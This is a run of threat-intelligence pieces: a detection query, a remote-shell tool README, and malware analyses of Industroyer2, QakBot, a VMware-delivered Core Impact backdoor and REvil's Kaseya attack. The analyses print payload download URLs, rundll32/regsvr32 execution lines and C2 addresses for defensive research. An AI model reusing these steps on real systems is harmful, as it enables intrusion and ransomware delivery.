'%pwsh%' OR cmdline LIKE '%certutil%' OR cmdline LIKE '%cscript%' OR cmdline LIKE '%wscript%' OR cmdline LIKE '%mshta%' OR cmdline LIKE '%Users\Public%' OR cmdline LIKE '%Windows\Temp%' OR cmdline LIKE '%AppData\Local%' OR cmdline LIKE '%\%temp\%%' OR cmdline LIKE '%\%tmp\%%' OR cmdline LIKE '%\%ProgramData\%%' OR cmdline LIKE '%\%appdata\%%' OR cmdline LIKE '%\%comspec\%%' OR cmdline LIKE '%*\%localappdata\%%' ); ``` Below are several publicly accessible rules for detecting the above scenario. ## Threat Bites - **Threat Actors**: FIN11, TA505, DEV-0950, Evil Corp, PHOSPHORUS, Mint Sandstorm, MERCURY, Mango Sandstorm - **Malwares**: Cl0p, LockBit, TrueBot - **Targeted Country**: United States, United Kingdom, Australia, France, Netherlands - **Targeted Industry**: Education - **First Seen**: 2023 - **Last Seen**: 2023 - **LOLBAS**: Wmic - **Telemetry**: Sysmon, Security, PowerShell **Author**: Saharsh Agrawal **Security Researcher, Loginsoft**
# Thibault-69/Remote_Shell A Linux remote shell program. Hello, Run the server file (`rbs_srv`) with the command: `sudo ./rbs_srv` on your machine. On the same machine, run the client (`rbs_clt`) with the command: `sudo ./rbs_clt`. You will see in the client terminal those sentences: "Hey! I am HAL the server, you are now connected. Enter a command (quit to close the remote shell):" Enter a Linux command, the one you want, and you will get the command output, simple :) PS: If you want to run the server on one machine and the client on another machine, you must edit just a little bit the client code. In the client folder, in the file `rbs_clt.c`, at line 40: ```c hostsin.sin_addr.s_addr = inet_addr("127.0.0.1"); // Enter here the server IP address. ``` You have it written to enter the server IP address, and then recompile the client with the command: ```bash gcc rbs_clt.c -o rbs_clt ``` Have fun!
# Threat Thursday: Malware Rebooted - How Industroyer2 Takes Aim at Ukraine Infrastructure Since the outbreak of conflict in Eastern Ukraine in 2014, following Russia’s annexation of Crimea, there have been several notable attempts to disrupt the electrical infrastructure of the country. While an attack with Industroyer2 was recently thwarted, analysis of this malware provides useful insight into threat actors’ behaviors. Industroyer2 was first reported by CERT-UA and confirmed by ESET on April 12, 2022, as the third major attempt at taking out part of Ukraine’s electrical substations and controllers. This attack was repelled by CERT-UA in partnership with ESET. This was just the latest in a string of attacks against Ukraine’s electric grid. The first electrical disruption attempt occurred in December 2015, using an updated version of the BlackEnergy malware. This attack successfully caused power outages in several regions of Ukraine. In December 2016, the first version of Industroyer caused blackouts for several hours in the capital, Kyiv. The 2015 and 2016 attacks were both attributed to the Sandworm group. It is likely Industroyer2 is yet another attempt by the Sandworm group to cause damage to the critical infrastructure of Ukraine in support of the ongoing Russian incursions. The U.S. Department of Justice has previously released indictments accusing the Russian GRU of being behind BlackEnergy and Industroyer in an attempt to “undermine, retaliate against, or otherwise destabilize” Ukraine, among other geopolitical targets. ## Operating System Risk & Impact Industroyer2 was compiled on March 23, 2022, nearly a month after the initial invasion of Ukraine. This threat was deployed alongside several wipers, a worm, and a loader. CERT-UA reports that the wipers that came with the attack included CaddyWiper, SoloShred, and AwfulShred. CaddyWiper targets Windows® systems, while the other wipers target Linux® systems. The Linux worm OrcShred and the loader ArguePatch were also included. To understand how Industroyer2 works, we first need to look into the IEC 60870-5-104 protocol used for communication on a TCP/IP network. This protocol is used in the Ukrainian electrical stations and substations that were targeted by this attack. By following the commands used by the malware, we can observe the execution flow of Industroyer2 and see what messages are sent to disrupt the targeted devices. ### IEC-104 The IEC 60870-5-104 protocol, shortened as IEC-104, is a telecontrol equipment and systems standardization for TCP communication over port 2404. This protocol is used to interface with power control stations and substations. An Application Protocol Data Unit (APDU) transmission frame contains the Application Service Data Unit (ASDU), which is a message structure carrying application data sent between stations. The ASDU transmits an Information Object Address (IOA), which is used to interact with the switches and breakers in a station. During normal everyday function, a controller can send an APDU frame with an ASDU that contains specific IOA commands to change the state of the stations and substations. Status checking on the controller stations is carried out by sending a Test Frame (TESTFR) command – TESTFR act APDU, to activate – which is verified with a return – TESTFR con APDU, to confirm the system is online. The commands Start Data Transfer (STARTDT) and Stop Data Transfer (STOPDT) control data transfer from the control station. These actions are sent in an APDU. ### Behavior Once Industroyer2 is launched, a command prompt window opens and displays the commands that are being sent and received. In this instance, we see that port 2404 is being targeted. Port 2404 is used by IEC-104 to send TCP messages. This output also corresponds to the IOA commands found inside the file. A TESTFR act APDU is sent to establish a connection to a station, along with a STARTDT command. Upon successful connection, a TESTFR con APDU is sent back from the station. With the confirmation received from the station, a STARTDT APDU is sent to open data transfer. As with TESTFR, STARTDT will need to send an act to activate, and to receive a con from the station to confirm, before data transfer can begin. Next, the ASDU frames will communicate commands to the station. An ASDU interrogation command determines the status of the station. The hardcoded messages will get sent and modify the station’s IOA. Not much else can be discerned from these IOA modifications without knowledge of the specific systems that were being targeted. This points to the possibility that the malware authors have some level of access or insider knowledge of the systems they were attacking. ### Industroyer vs. Industroyer2 While Industroyer2 is an updated version of the original Industroyer, it comes with a slightly narrower scope of action. The original version of the threat had four distinct modules targeting IEC 60870-5-101 (IEC-101), IEC 60870-5-104 (IEC-104), IEC-61850, and OLE for Process Control Data Access (OPC DA). Industroyer2 focuses primarily on disrupting services by targeting the IEC-104 controllers. It’s not clear why the focus was narrowed down to this one service, but judging from the compilation date of March 23, 2022, the malware was likely rushed through development. Additionally, Industroyer has a separate config file with the IOAs, while Industroyer2 stores that information inside its executable. ## Conclusion Industroyer2 is the latest attempt by state-level threat actors to cause what they hope will be severe damage to the critical infrastructure of the targeted region. This tactic has proven effective in the past as a method of spooking the populace, even when the attack itself was not successful. Few details surrounding this specific attack are currently available to us, but what we do know is that the deployment of Industroyer2 represents an increasing escalation of cyberattacks on Ukraine’s crucial resources. Attackers are now escalating their intrusion attempts far beyond the usual “smash-and-grab” tactics of infostealing, to focus on just the “smash” part. This method of operation not only causes population distress and widespread disruptions, but also has the potential to take out critical infrastructure in a way that causes immediate damage to the basic services that keep countries functioning. ## YARA Rule The following YARA rule was authored by the BlackBerry Research & Intelligence Team to catch the threat described in this document: ```yara rule Industroyer2 { meta: description = "Detects Industroyer2" author = "BlackBerry Threat Research Team" date = "2022-05-03" license = "This Yara rule is provided under the Apache License 2.0 and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: $s1 = "02d:%lS" wide $s2 = "M%X - %02d:%02d:%02d" wide $s3 = "02hu:%02hu:%02hu:%04hu" wide $s4 = "T%d %08x" wide $s5 = "T%d %h" wide $s6 = "%s M%X %d (%s)" wide $s7 = "%s M%X SGCNT %d" wide $s8 = "ASDU:%u | OA:%u | IOA:%u" wide $s9 = "Cause: %s (x%X) | Telegram type: %s (x%X)" wide $c1 = "TESTFR act" wide $c2 = "TESTFR con" wide $c3 = "STARTDT act" wide $c4 = "STARTDT con" condition: uint16(0) == 0x5a4d and filesize < 50KB and all of them } ``` ## Indicators of Compromise (IoCs) - D69665F56DDEF7AD4E71971F06432E59F1510A7194386E5F0E8926AEA7B88E00 - 43D07F28B7B699F43ABD4F695596C15A90D772BFBD6029C8EE7BC5859C2B0861 - BCDF0BD8142A4828C61E775686C9892D89893ED0F5093BDC70BDE3E48D04AB99 - 87CA2B130A8EC91D0C9C0366B419A0FCE3CB6A935523D900918E634564B88028 - CDA9310715B7A12F47B7C134260D5FF9200C147FC1D05F030E507E57E3582327 - 1724A0A3C9C73F4D8891F988B5035EFFCE8D897ED42336A92E2C9BC7D9EE7F5A - FC0E6F2EFFBFA287217B8930AB55B7A77BB86DBD923C0E8150551627138C9CAA - 7062403BCCACC7C0B84D27987B204777F6078319C3F4CAA361581825C1A94E87 - 3851A064AABAB557CE162E01A77681B3954B006117EDD0563EDD2B3E5A082ACE - EA16CB89129AB062843C84F6C6661750F18592B051549B265AAF834E100CD6FC
# The Rise of QakBot **AT&T Cybersecurity** **April 15, 2021 | Dax Morrow** This blog was jointly written with Ofer Caspi. Some of the links in this blog require an OTX account, and the QakBot infrastructure tracker will require readers to be customers with access to the Threat Intel subscription. Thanks to the following researchers and the MalwareBazaar Project. ## Executive Summary AT&T Alien Labs closely monitors the evolution of crimeware such as the QakBot (also known as Qbot) malware family and campaigns in connection with QakBot. The jointly coordinated takedown of the actors behind Emotet in late January has left a gap in the cybercrime landscape, which QakBot seems poised to fill. ### Key Points: - TA551 has added QakBot to its arsenal, which also includes IcedID. - QakBot employs anti-virus evasion, anti-detection, and anti-sandbox tactics across the entire spectrum of the attack. - The actor(s) behind QakBot possess a modular framework consisting of maldoc builders, signed loaders, and DLLs that produce initially low detection rates at the beginning of the attack, which creates opportunities to deliver additional malware such as Egregor and Cobalt Strike. - The actor(s) responsible for QakBot have an active affiliate program. - TA551, Cobalt Strike, and QakBot have all been observed jointly within the context of individual campaigns. ## Analysis Qakbot, also known as QBot or Pinkslipbot, is a modular information stealer. It has been active since 2007 and primarily used by financially motivated actors. It was initially known as a banking Trojan and a loader using C2 servers for payload delivery; however, its use expanded beyond strictly being a banking trojan. The hallmarks of a QakBot infection chain consist of a phishing lure (T1566) delivered via email chain hijacking or spoofed emails that contain context-aware information such as shipping, work orders, urgent requests, invoices, claims, etc. The phishing emails alternate between file attachments (T1566.001) and links (T1566.002). QakBot is often used as a gateway entry, similar to TrickBot or Emotet, that leads to post exploitation operations leveraging frameworks such as Cobalt Strike as well as delivering Ransomware. QakBot email lures are not the most sophisticated; however, by using contextually aware themes that originate from hijacked email chains or potentially compromised accounts within a user’s social circle, they are effective. The actors further establish the trust and confidence of the targeted user by presenting a semi-official looking DocuSign graphic that guides the user through the process of enabling the Excel 4 Macros. A representative sample, 78ea3550e2697cd06b07df568242f7fc9f57e4d2b297b74f6ce26e97613de53a, seen in a recent QakBot campaign is shown below. QakBot Excel spreadsheets often contain hidden spreadsheets, Excel 4.0 macros, spreadsheet formulas, and BIFF records all designed to pass a visual inspection from the user with the added benefit of bypassing detection mechanisms that attempt to parse multiple legacy formats inside the spreadsheet. Once the Excel 4.0 macro is decoded it is possible to see the CALL to URLDownloadToFileA, which downloads the QakBot DLL in this campaign from `http://rlyrt26rnxw02vqijgs.com/fera/frid.gif`. Next, the EXEC function is evaluated which executes “rundll32.exe nxckew.wle, DllRegisterServer”. It is also a common tactic for QakBot to execute “regsvr32.exe -s nxckew.wle,DllRegisterServer”. Both instances are designed to evade sandbox environments that do not supply the expected command line arguments. A representative QakBot DLL analyzed by Alien Labs, 9a353d4b85b3097762282703f1807c2b459698966b967280c8e4e13cc56d2e28, has two exports: the entry point (0x10005a5d) and DllRegisterServer (0x10029c88) and if DllRegisterServer is not called via regsvr32.exe or rundll32.exe with command line options, then only the entry point is called and the malicious code in DllRegisterServer is not called. The results of our additional de-obfuscation efforts are confirmed when the QakBot Excel spreadsheet is run inside a sandbox. Before executing the main payload, the QakBot loader will first test the infected system to see if it is a good candidate for infection. The QakBot loader is responsible for checking its environment to include whether it is running on a Virtual Machine, identifying any installed and running security and monitoring tools such as AntiVirus products or common security researcher tools. To make detection and analysis harder, QakBot encrypts its strings and decrypts them at runtime before use. Once the QakBot execution logic is finished using a string, it will immediately delete the string from memory. An example of this can be seen in the decryption routine for the security and monitoring tool strings (T1140). QakBot will also add its folder to the Windows Defender exclusions setting located in the Registry (T1112), which prevents Defender from scanning QakBot artifacts. In addition to the previously mentioned environment check, QakBot collects system information (T1082) such as computer name, system directories, user profiles, and more. QakBot will use process hollowing (T1055.012) in order to inject itself into explorer.exe. If it is unsuccessful then QakBot will attempt to inject itself into mobsync.exe or iexplore.exe. Additionally, QakBot abuses the Service Control Manager (SCM) to create a child process, which is then detached from the parent when the SCM terminates the parent process. QakBot C2 communications begin in this stage to make it more difficult to monitor. Finally, if the QakBot loader has verified its execution environment has passed its tests, then QakBot will proceed to decrypt and execute the main QakBot payload, which is hidden as resource “307”. The combined anti-analysis and evasion techniques across the infection chain significantly impair antivirus, EDR, and other security defenses from detecting and preventing the initial infection. Despite the limitations and challenges presented by QakBot DLLs there is ample opportunity to detect QakBot loaders signed by revoked and blacklisted malicious certificates. Alien Labs has identified 42 unique signers and signature serial numbers, which are included in Detection Methods section to aid in detection and hunting with YARA and Osquery. Additionally, there are a number of behavioral patterns, Indicators of Behavior (IOB), which provide opportunities for detection. ## Recommended Actions 1. Search for a renamed version of “wmic.exe” such as “xml.com”, which spawns “regsvr32.exe” and executes files with JPG or GIF file extensions. 2. Regularly perform process auditing and accounting looking for process oddities such as: - Parent to child relationships “excel.exe” spawning “rundll32.exe”. - Instances of “WerFault.exe” executing without a command line. - “esentutl.exe” executing with a command line containing the term “WebCache”. 3. Check for unrecognized exclusions, files or folders, in Windows Defender settings. ## Conclusion Alien Labs has observed QakBot over the past three months being used in a role similar to TrickBot, which includes malspam delivery, stealthy maldocs dropping signed loaders, establishing a foothold, and finally post exploitation activities such as lateral movement, access operations, and ransomware delivery. ## Detection Methods The following associated detection methods are in use by Alien Labs. They can be used by defenders to tune or deploy detections in their own environments or for aiding additional research. ### Agent Signatures ```sql SELECT process.pid as source_process_id, process.name as source_process, process.path as file_path, authenticode.result, authenticode.serial_number as certificate_serial_number, authenticode.issuer_name as certificate_issuer_name, authenticode.subject_name as certificate_subject_name, parent_processes.path as source_process_parent, parent_processes.cmdline as source_process_parent_commandline, parent_processes.uid as parent_uid, hashes.sha256 AS file_hash_sha256 FROM processes as process LEFT JOIN authenticode ON process.path = authenticode.path LEFT OUTER JOIN processes parent_processes ON process.parent = parent_processes.pid LEFT JOIN hash AS hashes ON hashes.path = process.path WHERE authenticode.serial_number IN ('00ac307e5257bb814b818d3633b630326f', '186d49fac34ce99775b8e7ffbf50679d', '02b6656292310b84022db5541bc48faf', '17d99cc2f5b29522d422332e681f3e18', '142aac4217e22b525c8587589773ba9b', '00ca646b4275406df639cf603756f63d77', '0cf2d0b5bfdd68cf777a0c12f806a569', '7ab21306b11ff280a93fc445876988ab', '00f097e59809ae2e771b7b9ae5fc3408d7', '00d3356318924c8c42959bf1d1574e6482', '00e38259cf24cc702ce441b683ad578911', '00b61b8e71514059adc604da05c283e514', '51cd5393514f7ace2b407c3dbfb09d8d', '00b2e730b0526f36faf7d093d48d6d9997', '3cee26c125b8c188f316c3fa78d9c2f1', '7156ec47ef01ab8359ef4304e5af1a05', '5c7e78f53c31d6aa5b45de14b47eb5c4', '00dadf44e4046372313ee97b8e394c4079', '00f8c2e08438bb0e9adc955e4b493e5821', '70e1ebd170db8102d8c28e58392e5632', '00c167f04b338b1e8747b92c2197403c43', '00e04a344b397f752a45b128a594a3d6b5', '00a7989f8be0c82d35a19e7b3dd4be30e5', '08622b9dd9d78e67678ecc21e026522e', '3696883055975d571199c6b5d48f3cd5', '5b440a47e8ce3dd202271e5c7a666c78', '690910dc89d7857c3500fb74bed2b08d', '00d59a05955a4a421500f9561ce983aac4', '00c2fc83d458e653837fcfc132c9b03062', '016836311fc39fbb8e6f308bb03cc2b3', '4743e140c05b33f0449023946bd05acb', 'aa28c9bd16d9d304f18af223b27bfa1e', '00d627f1000d12485995514bfbdefc55d9', '6e0ccbdfb4777e10ea6221b90dc350c2', '1249aa2ada4967969b71ce63bf187c38', '00e5ad42c509a7c24605530d35832c091e', '38989ec61ecdb7391ff5647f7d58ad18', '1a311630876f694fe1b75d972a953bca', '4a7f07c5d4ad2e23f9e8e03f0e229dd4', '00d4ef1ab6ab5d3cb35e4efb7984def7a2', '37f3384b16d4eef0a9b3344b50f1d8a3', '4e7545c9fc5938f5198ab9f1749ca31c'); ``` ### Associated Indicators (IOCs) | TYPE | INDICATOR | DESCRIPTION | |-----------|---------------------------------------------------------------------------|-----------------------------------| | HOSTNAME | 1.nvprivateoffice.info | QakBot C2 | | SHA256 | 17cd3c11fba639c1fe987a79a1b998afe741636ac607254cc134eea02c63f658 | QakBot Maldoc Lure | | SHA256 | 3be905066595dc785c9b6b98bfb2d9e0478f32df31337a8aeec96d7ccd52769e | QakBot Loader | | SHA256 | 6850bd6206735cc62b932900fceddfd7218e30a9f4b82c84cb15a0060726b436 | QakBot DLL Final Payload | | SHA256 | bf9efaf79a6990bbd9b378d05a609e0ad9d3a501a56a85e04479682435c22b0a | Signed QakBot Loader, Signer “SHOECORP LIMITED” | | SHA256 | 03412f800b9b512258e462aed00ee5725fcb970979e828d43069877e06a38f28 | Signed QakBot Loader, Signer “DILA d.o.o.” | | SHA256 | 43d20a15d5e9cd51454a35946d762687cc2921a4581844ae32acd86427aadaab | Signed QakBot Loader, Signer “PKV Trading ApS” | | SHA256 | 0f597a709ad87855695a88a71c46b690d1049d01da1d30c47927d8acba5fcc23 | Signed QakBot Loader, Signer “A.B. gostinstvo trgovina posredništvo in druge storitve, d.o.o.” | ## Mapped to MITRE ATT&CK The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques: ### Initial Access - T1566: Phishing - T1566.001: Spearphishing Attachment - T1566.002: Spearphishing Link - T1566.003: Spearphishing via Service ### Execution - T1204: User Execution - T1204.001: Malicious Link - T1204.002: Malicious File - T1059: Command and Scripting Interpreter - T1059.005: Visual Basic - T1053: Scheduled Task/Job - T1053.005: Scheduled Task - T1129: Shared Modules - T1106: Native API - T1047: Windows Management Instrumentation ### Defense Evasion - T1027: Obfuscated Files or Information - T1027.002: Software Packing - T1553: Subvert Trust Controls - T1553.002: Code Signing - T1218: Signed Binary Proxy Execution - T1218.010: Regsvr32 - T1497: Virtualization/Sandbox Evasion - T1497.001: System Checks - T1497.002: User Activity Based Checks - T1497.003: Time Based Evasion - T1112: Modify Registry - T1070: Indicator Removal on Host - T1070.004: File Deletion - T1140: De-obfuscate/Decode Files or Information ### Command and Control - T1090: Proxy - T1090.003: Multi-hop Proxy - T1105: Ingress Tool Transfer ### Privilege Escalation - T1055: Process Injection - T1055.012: Process Hollowing ### Discovery - T1082: System Information Discovery - T1049: System Network Connections Discovery - T1016: System Network Configuration Discovery - T1057: Process Discovery - T1033: System Owner/User Discovery - T1518: Software Discovery - T1518.001: Security Software Discovery ### Persistence - T1546: Event Triggered Execution - T1547: Boot or Logon Autostart Execution - T1547.001: Registry Run Keys / Startup Folder **Tags:** malware research, alien labs, otx pulse, qbot, banking trojan, qakbot, windows malware
# New Core Impact Backdoor Delivered Via VMWare Vulnerability Posted by Morphisec Labs on April 25, 2022 Morphisec is a world leader in preventing evasive polymorphic threats launched from zero-day exploits. On April 14 and 15, Morphisec identified exploitation attempts for a week-old VMware Workspace ONE Access (formerly VMware Identity Manager) remote code execution (RCE) vulnerability. BleepingComputer reports similar attempts have been seen in the wild. Due to indicators of a sophisticated Core Impact backdoor, Morphisec believes advanced persistent threat (APT) groups are behind these VMware Identity Manager attack events. The tactics, techniques, and procedures used in the attack are common among groups such as the Iranian linked Rocket Kitten. VMware is a $30 billion cloud computing and virtualization platform used by 500,000 organizations worldwide. A malicious actor exploiting this RCE vulnerability potentially gains an unlimited attack surface. This means highest privileged access into any components of the virtualized host and guest environment. Affected firms face significant security breaches, ransom, brand damage, and lawsuits. This new vulnerability is a server-side template injection that affects an Apache Tomcat component, and as a result, the malicious command is executed on the hosting server. As part of the attack chain, Morphisec has identified and prevented PowerShell commands executed as child processes to the legitimate Tomcat prunsrv.exe process application. A malicious actor with network access can use this vulnerability to achieve full remote code execution against VMware’s identity access management. Workspace ONE Access provides multi-factor authentication, conditional access, and single sign-on to SaaS, web, and native mobile apps. This attack turned around remarkably fast: - A patch for the initial vulnerability was released on April 6 - On April 11 a proof of concept for the attack appeared - On April 13 exploits were identified in the wild Adversaries can use this attack to deploy ransomware or coin miners, as part of their initial access, lateral movement, or privilege escalation. Morphisec research observed attackers already exploiting this vulnerability to launch reverse HTTPS backdoors—mainly Cobalt Strike, Metasploit, or Core Impact beacons. With privileged access, these types of attacks may be able to bypass typical defenses including antivirus (AV) and endpoint detection and response (EDR). ## Technical Analysis ### Full attack chain The attacker gains initial access to an environment by exploiting a VMware Identity Manager Service vulnerability. The attacker can then deploy a PowerShell stager that downloads the next stage, which Morphisec Labs identified as the PowerTrash Loader. Finally, an advanced penetration testing framework—Core Impact—is injected into memory. ### VMware Identity Manager Vulnerabilities Several vulnerabilities have recently been reported for this service: - **CVE-2022-22957** and **CVE-2022-22958**: VMware Workspace ONE Access, Identity Manager, and vRealize Automation contain two remote code execution vulnerabilities. A malicious actor with administrative access can trigger the deserialization of untrusted data through malicious JDBC URI, which may result in remote code execution. - **CVE-2022-22954**: VMware Workspace ONE Access and Identity Manager contains a remote code execution vulnerability due to server-side template injection. A malicious actor with network access can trigger a server-side template injection that may result in remote code execution. While CVE-2022-22957 and CVE-2022-22958 are RCE vulnerabilities, they require administrative access to the server. CVE-2022-22954, however, doesn’t, and already has an open-source proof of concept in the wild. ### PowerShell Stager The attacker exploited the service and ran the following PowerShell command: - Stager encoded in base64 Which translates to: - Decoded stager As you can see at the end, this is an encoded command where each character is subtracted by one. When doing so we get the URL from which the next stage is downloaded: - Decoded #2 stager ### PowerTrash Loader The PowerTrash Loader is a highly obfuscated PowerShell script with approximately 40,000 lines of code. This loader decompresses the deflated payload and reflectively loads it in memory, without leaving forensic evidence on the disk. We’ve previously seen the PowerTrash Loader leading to JSSLoader. This time the final payload was different—a Core Impact Agent. ### Core Impact Agent Core Impact is a penetration testing framework developed by Core Security. As with other penetration testing frameworks, these aren’t always used with good intentions. TrendMicro reported a modified version of Core Impact was used in the Woolen-GoldFish campaign tied to the Rocket Kitten APT35 group. We can extract the C2 address, client version, and communication encryption key located in an embedded string: - C2 Server: 185.117.90[.]187 - Client Version: 7F F7 FF 83 (HEX) - 256-Bit Key: cd19dbaa04ea4b61ace6f8cdfe72dc99a6f807bcda39ceab2fefd1771d44ad288b76bc20eaf9ee26c9a175bb055f0f2eb800ae6010ddd7b509e061651 (ASCII) ### Additional Threat Relations A reverse look-up on the Stager server leads to a new web hosting server named ‘Stark Industries’ registered in London. The company was registered in February 2022 and is linked to a person named Ivan Neculiti. Ivan is infamous for owning web hosting companies used for malicious and illegal activities. ### Indicators of Compromise - Stage1 Serving URL: hxxp://138.124.184[.]220/work_443.bin_m2.ps1 - Stage2 - work_443.bin_m2.ps1: 746FFC3BB7FBE4AD229AF1ED9B6E1DB314880C0F9CB55AEC5F56DA79BCE2F79B - Stage3 - Core Impact: 7BC14D231C92EEEB58197C9FCA5C8D029D7E5CF9FBFE257759F5C87DA38207D9 - C2 Server: 185.117.90[.]187 ## Protect Yourself Against This VMware Identity Manager Attack The widespread use of VMware identity access management combined with the unfettered remote access this attack provides is a recipe for devastating breaches across industries. Anyone using VMware’s identity access management should immediately apply the patches VMware has released. Organizations unable to immediately apply the patch(es) should consider virtual patching. VMware customers should also review their VMware architecture to ensure the affected components are not accidentally published on the internet, which dramatically increases the exploitation risks. Morphisec customers are protected against these backdoor attacks and others like it. Morphisec’s MTD technology implements a virtual patch by creating a dynamic attack surface to prevent the successful deployment of Core Impact, Cobalt Strike, and Metasploit beacons. These beacons are highly evasive and can bypass the AV, EDR, MDR, and XDR deployed on endpoints. Morphisec’s MTD technology provides early visibility and prevention of vulnerability exploitation. It enables quick containment without creating false positive alerts. For better risk management, organizations should adopt a preventative approach that proactively stops breaches before they infiltrate. Morphisec’s Moving Target Defense technology uses polymorphism against attackers to hide vulnerabilities from threat actors while reducing your attack surface.
# Cybereason vs. REvil Ransomware: The Kaseya Chronicles As a spate of ransomware attacks continue to dominate the headlines in recent months, the infamous REvil ransomware gang has upped the ante significantly with a wide-ranging operation that is suspected to have impacted thousands of small-to-midsize businesses through the compromise of a leading IT services provider. Reports indicate that the REvil gang’s supply chain attack exploited the Kaseya VSA remote management service to propagate the ransomware to multiple targets by way of Managed Service Providers who use the software to service clients across the globe. REvil is the same threat actor who hit meatpacking giant JBS with a ransomware attack at the beginning of June, shutting down a good portion of the company’s production capabilities and threatened to create supply chain disruptions and sharp cost of goods increases. Back in April of 2019, the Cybereason Nocturnus team first encountered and analyzed the REvil ransomware (aka Sodinokibi, Sodin), a notoriously aggressive and highly evasive threat that takes many measures to maintain obfuscation and prevent detection by security tools. ## Cybereason Detects and Blocks REvil Ransomware The Cybereason Defense Platform has consistently proven to detect and block REvil ransomware. Cybereason customers have been protected from this threat since it emerged in 2019, as are the customers of our Managed Services Provider partners in the wake of the Kaseya supply chain compromise. Over time, REvil has become the largest ransomware cartel operating in operation to date. Subsequent attacks attributed to the REvil gang include a March 2021 attack against Taiwanese multinational electronics corporation Acer where the assailants demanded a record-breaking $50 million ransom. In April, the REvil gang attempted to extort Apple following an attack against one of the tech giant’s business partners with a $50 million ransom demand with the additional threats to increase the ransom demand to $100 million and release exfiltrated data from the target should the payment not be made promptly. Much like the DarkSide ransomware gang that struck Colonial Pipeline in early May, the REvil gang follows the double extortion trend, where the threat actors first exfiltrate sensitive information stored on a victim’s systems before launching the encryption routine. After the ransomware encrypts the target’s data and issues the ransom demand for payment in exchange for the decryption key, the threat actors make the additional threat of publishing the exfiltrated data online should the target refuse to make the ransom payment. This means the target is still faced with the prospect of having to pay the ransom regardless of whether or not they employed data backups as a precautionary measure, and underscores the need to take a prevention-first security posture. ## REvil’s Kaseya Attack At the time of publication of this report, the exact chain of events that enabled at least 1000 businesses to be infected by the REvil ransomware is not entirely clear. According to Huntress’s investigation, one possibility is the exploitation of the web interface of Kaseya’s VSA Servers (software used by Kaseya customers to monitor and manage their infrastructure), which enabled authentication bypass and remote code execution. In addition, The Dutch Institute for Vulnerability Disclosure (DIVD) has revealed that it had alerted Kaseya on a number of zero-day vulnerabilities in the VSA software (CVE-2021-30116) which are used in the ransomware attacks. ## The Flow of the Alleged Supply-Chain Attack Once the attackers gain access to the targeted environment, the Kaseya Agent Monitor (agentmon.exe) is used to write a base 64 decoded file named “agent.crt” (the ransomware dropper) to the path “c:\kworking”. After it writes the encoded payload to disk, agentmon.exe executes a command line which contains the following commands: - Ping is executed a random number of times (in each instance we observed the -n parameter is different). This may function as a sleep timer before the next instructions are executed. - PowerShell command is executed to disable Windows built-in security and Antivirus settings on the machine. - “CertUtil.exe” is copied to “C:\Windows\cert.exe”. CertUtil.exe is an admin command line tool intended by Microsoft to be used for manipulating certification authority (CA) data and components. CertUtil.exe is popular as a LoLBin (living off the land binaries) and is often used by attackers. The name change is probably used as an attempt to evade detection rules for the process. In addition, a random number is echoed to the end of “cert.exe”, probably to change the hash of the file. Cert.exe (renamed CertUtil.exe) is used to decode the previously dropped “agent.crt” file to “agent.exe”, which is then executed. The ransomware dropper (agent.exe) is signed with the certificate “PB03 TRANSPORT LTD.” The certificate appears to have only been used by REvil malware that was deployed during this attack. To add a layer of stealth, the attackers used a technique called DLL Side-Loading. Agent.exe drops an outdated version that is vulnerable to DLL Side-Loading of “msmpeng.exe” - the Windows Defender executable. The dropper then writes the ransomware payload to disk as the model “mpsvc.dll” to make “msmpeng.exe” load and execute it. ## The Ransomware Payload (mpsvc.dll) Similar to the agent.exe dropper binary, the ransomware payload DLL is also signed with the same certificate. Analysis of the DLL binary showed that it is the REVIL ransomware. Once the execution is passed to the module, it executes the command “netsh advfirewall firewall set rule group=”Network Discovery” new enable=Yes”, which changes the firewall settings to allow local windows systems to be discovered. Then, it starts to encrypt the files on the system, eventually dropping the following ransom note. ## CYBEREASON DETECTION AND PREVENTION Ransomware attacks are on the rise. A recently released report by Cybereason, titled *Ransomware: The True Cost to Business*, detailed how malicious actors are fine-tuning their ransomware campaign tactics, and how both the frequency and severity of successful ransomware attacks have tremendous impact on victim organizations and their ability to conduct business. The full REvil attack involving Kaseya is presented in the Cybereason Defense Platform process tree as an automatically generated Malop™ for a complete view of the attack narrative. The Cybereason Defense Platform delivers multi-layer protection that is proven to detect and block REvil ransomware since it emerged in 2019, and continues to allow defenders to protect their organizations from this evolving threat. ## SECURITY RECOMMENDATIONS - Kaseya released a VSA Detection Tool which analyzes the system in order to detect if any related IOCs are present. - Enable the Anti-Ransomware feature on Cybereason NGAV and set protection mode to Prevent. - Enable Anti-Malware feature on Cybereason NGAV, set to Prevent and set the detection mode to Moderate and Above. - Keep Systems Fully Patched: Make sure your systems are patched in order to mitigate vulnerabilities. - Regularly Backup Files to a Remote Server: Restoring your files from a backup is the fastest way to regain access to your data. - Use Security Solutions: Protect your environment using organizational firewalls, proxies, web filtering, and mail filtering. ## Ransomware Prevention Capabilities are Key The best ransomware defense for organizations is to focus on preventing a ransomware infection in the first place. Organizations need visibility into the more subtle Indicators of Behavior (IOBs) that allow detection and prevention of a ransomware attack at the earliest stages. Cybereason delivers industry-leading ransomware protection via multi-layered prevention, detection, and response, including: - **Anti Ransomware Prevention and Deception**: Cybereason uses a combination of behavioral detections and proprietary deception techniques to surface the most complex ransomware threats and end the attack before any critical data can be encrypted. - **Intelligence-Based Antivirus**: Cybereason blocks known ransomware variants leveraging an ever-growing pool of threat intelligence based on previously detected attacks. - **NGAV**: Cybereason NGAV is powered by machine learning and recognizes malicious components in code to block unknown ransomware variants prior to execution. - **Fileless Ransomware Protection**: Cybereason disrupts attacks utilizing fileless and MBR-based ransomware that traditional antivirus tools miss. - **Endpoint Controls**: Cybereason hardens endpoints against attacks by managing security policies, maintaining device controls, implementing personal firewalls, and enforcing whole-disk encryption across a range of device types, both fixed and mobile. - **Behavioral Document Protection**: Cybereason detects and blocks ransomware hidden in the most common business document formats, including those that leverage malicious macros and other stealthy attack vectors. Cybereason is dedicated to teaming with defenders to end cyber attacks from endpoints to the enterprise to everywhere - including modern ransomware. ## Indicators of Compromise ### Ransomware Dropper **SHA256** 41581b41c599d1c5d1f9f1d6923a5e1e1ee47081adfc6d4bd24d8a831554ca8e D55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e **SHA1** 49a5a9e2c000add75ff74374311247d820baa1a8 5162f14d75e96edb914d1756349d6e11583db0b0 ### Ransomware Payload **SHA256** 